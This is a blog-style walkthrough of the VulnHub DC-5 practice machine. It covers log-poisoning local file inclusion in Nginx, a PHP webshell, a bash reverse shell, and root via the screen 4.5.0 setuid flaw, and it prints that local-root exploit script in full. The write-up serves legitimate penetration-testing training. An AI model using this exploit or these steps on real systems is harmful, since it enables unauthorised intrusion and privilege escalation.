【VulnHub靶机渗透】六:DC-5

VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。

文章较臃长,记录了不断测试并发现利用的过程。


一、相关简介

靶机:

该靶机Web处存在文件包含漏洞,本地提权存在screen已知版本漏洞。

  • 名称:DC-5
  • 系统:Linux Debian
  • 难度:中级
  • 目标:获得root、拿到flag

环境:

  • 靶机:DC-2——192,168.11.29
  • 攻击机:Kali——192.168.11.28
  • 工具:Nmap、dirb、BurpSuit、whatweb、cewl、菜刀等

二、渗透步骤

1、信息搜集

1.1、搜集

主机发现
在这里插入图片描述
Nmap端口服务扫描
在这里插入图片描述
Web指纹识别和dirb Web目录爆破并没有得到有用信息
在这里插入图片描述
dirbuster 扫描到了2个新文件
在这里插入图片描述

1.2、总结

主机信息:

  • IP:192.168.11.29
  • OS:Linux Debian
  • Kernel:Linux 3 / Linux 4
  • 80端口:http,Nginx-1.6.2
  • 111端口:RPC,rpcbind 2-4

Web信息:

  • 服务器:Nginx-1.6.2
  • ./contact.php - 200
  • ./faq.php - 200
  • ./index.php - 200
  • ./solutions.php - 200
  • ./footer.php - 200
  • ./about-us.php - 200
  • ./thankyou.php - 200

2、漏洞发现(文件包含)

试着包含以下本地的Nginx日志,可以看到成功包含
在这里插入图片描述

3、文件包含漏洞利用

1)执行phpinfo()函数

得到了日志文件,日志的格式如下:

192.168.11.28 - - [23/Apr/2020:09:47:57 +1000] "GET / HTTP/1.0" 200 4025 "-" "-"

每条日志都会记录请求方式(GET 或 POST)以及访问的uri,既然这样,那就可以抓包将请求方式改为php代码,记录进日志,然后进行文件包含执行该代码。

将GET改为以下的 phpinfo() 代码:
在这里插入图片描述
然后再次访问之前的文件包含页面,半酣日志文件,结果成功执行 phpinfo() 函数,也就是说文件包含并执行代码成功了
在这里插入图片描述
提交数据包后,页面也有回显
在这里插入图片描述
2)挂马得到Webshell

既然可以执行,那就可以将php代码改成php一句话木马(在uri处改是一样的),再提交包含,使用蚁剑连接即可,
在这里插入图片描述
提交数据包后,使用蚁剑连接
在这里插入图片描述
奇怪,蚁剑连接会出现乱码,有点像是是html实体编码后的结果
在这里插入图片描述
起初还以为是php马的问题,重置了好几次靶机,但是还是不行,直到用菜刀连接。。。
在这里插入图片描述
3)利用system() 函数建立反弹shell

ok,那现在就可操作性很大了,传一个反弹shell马进去,建立连接。

但是发现不可以上传和编辑文件,奇怪,换一种思路吧,直接使用php的系统命令函数来建立连接
在这里插入图片描述
给 cmd 传参为 cat+/etc/passwd ,成功执行了该系统命令
在这里插入图片描述
ok,将命令换为bash的反弹shell,要进行url编码,在kali上打开nc监听9999端口,发包即可建立反弹shell
在这里插入图片描述
此时已经进入目标主机,需要提权。

4、screen-4.5.0 本地提权

开始提权,查找可写文件、查看用户权限皆无果后,借鉴网上的师傅们,使用find来寻找拥有SUID权限的命令,发现了screen命令
在这里插入图片描述
在kali上寻找已知版本POC,找到两个,我们使用.sh那个
在这里插入图片描述
并不可以直接使用,需要根据文件内容提示的步骤来提权,内容如下:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

具体步骤文件中已经给出,完成后会有以下三个文件:
在这里插入图片描述
但是 .sh 文件类型是 dos,需要使用 vi 来改变其类型为 unix。 set ff 查看当前文件类型是 dos
在这里插入图片描述
使用 set ff=unix 改变类型为 unix
在这里插入图片描述
再利用本地服务器将其下载至靶机,最好是 /tmp/ 目录下,避免无权限。(学到了可以使用python在当前目录下开启一个临时服务器,非常方便!

python -m SimpleHTTPServer 8000

在这里插入图片描述
使用wget下载文件
在这里插入图片描述
再赋予 .sh 文件执行权限,执行即可提权至root
在这里插入图片描述
得到flag
在这里插入图片描述

三、知识总结

整体步骤:

  • 通过Web路径爆破发现Web页面存在文件包含
  • 利用本地包含和Nginx日志Getshell
  • 利用screen已知版本漏洞提权至root

知识点:

  • 当扫描不出信息时,可以换一个工具或者换一个字典,比如dirb扫描不到信息,可以使用dirbuster。

  • 当存在文件包含时,如果有本地文件包含,可以灵活利用日志来进行挂马,一些服务器的日志默认路径:

    Apache:/var/log/apache2/access.log

    Nginx:/var/log/nginx/access.log

    IIS:

    • Windows Server 2003 iis6:
      C:\Windows\System32\LogFiles
    • Windows Server 2008 R2、2012、2016、2019 iis7以上:
      C:\inetpub\logs\LogFiles
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章